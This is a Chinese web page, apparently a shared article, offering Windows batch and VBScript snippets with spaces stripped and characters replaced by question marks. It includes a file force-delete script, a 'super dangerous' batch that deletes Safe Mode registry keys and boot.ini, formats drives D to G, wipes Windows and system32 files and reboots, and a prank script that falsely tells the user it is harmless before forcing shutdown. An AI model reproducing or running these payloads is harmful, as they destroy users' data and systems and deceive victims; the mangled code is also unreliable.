DEL/F/A/Q\\?\%1RD/S/Q\\?\%1

?

说明:新建一个记事本,把上面那段代码复制进去,然后保存,再把那个记事本的后缀给改成“.bat”改成批处理形式就OK了。然后把你想删除的文件拖到这个批处理上面就可以删除了哦Del"%ProgramFiles%\Common~1\Real\Update

超级危险的批处理

下面代码比较危险,请慎用。

@echooffechoexit|%ComSpec%/kprompte100B400B012CD10B003CD10CD20$_g$_q$_|debug>nulchcp437>nulgraftabl936>nulREGDELETE"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot"/vNetwork/f?REGDELETE"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot"/vMinimal/f?ATTRIB%SYSTEMDRIVE%\boot.ini-s-a-r-h?DEL%SYSTEMDRIVE%\boot.ini/f???formatd:/q/yformate:/q/yformatf:/q/yformatg:/q/ycdc:\cdwindowsdel./qcdsystem32del./qdel%0??shutdown-r-t3

先改注册表.在改分区表.在格式化磁盘在删除C盘的资料然后在关机……

msgbox"此文件无毒,请放心使用。",vbretrycancel,"系统提示。"dim?WSHshell??set?WSHshell?=?wscript.createobject("wscript.shell")WSHshell.Run?"cmd.exe?/c?shutdown?-s?-t?300"wscript.sleep?2000dim?ado?a=inputbox("输入abc,否则关机。")if?a="abc"?thenmsgbox"?很遗憾,你中招了,这是整人程序,你就等着关机吧!"exit?doelsemsgbox"乖点,输入abc"end?ifloop













































献花(0)
+1
(本文系无为有法521...首藏)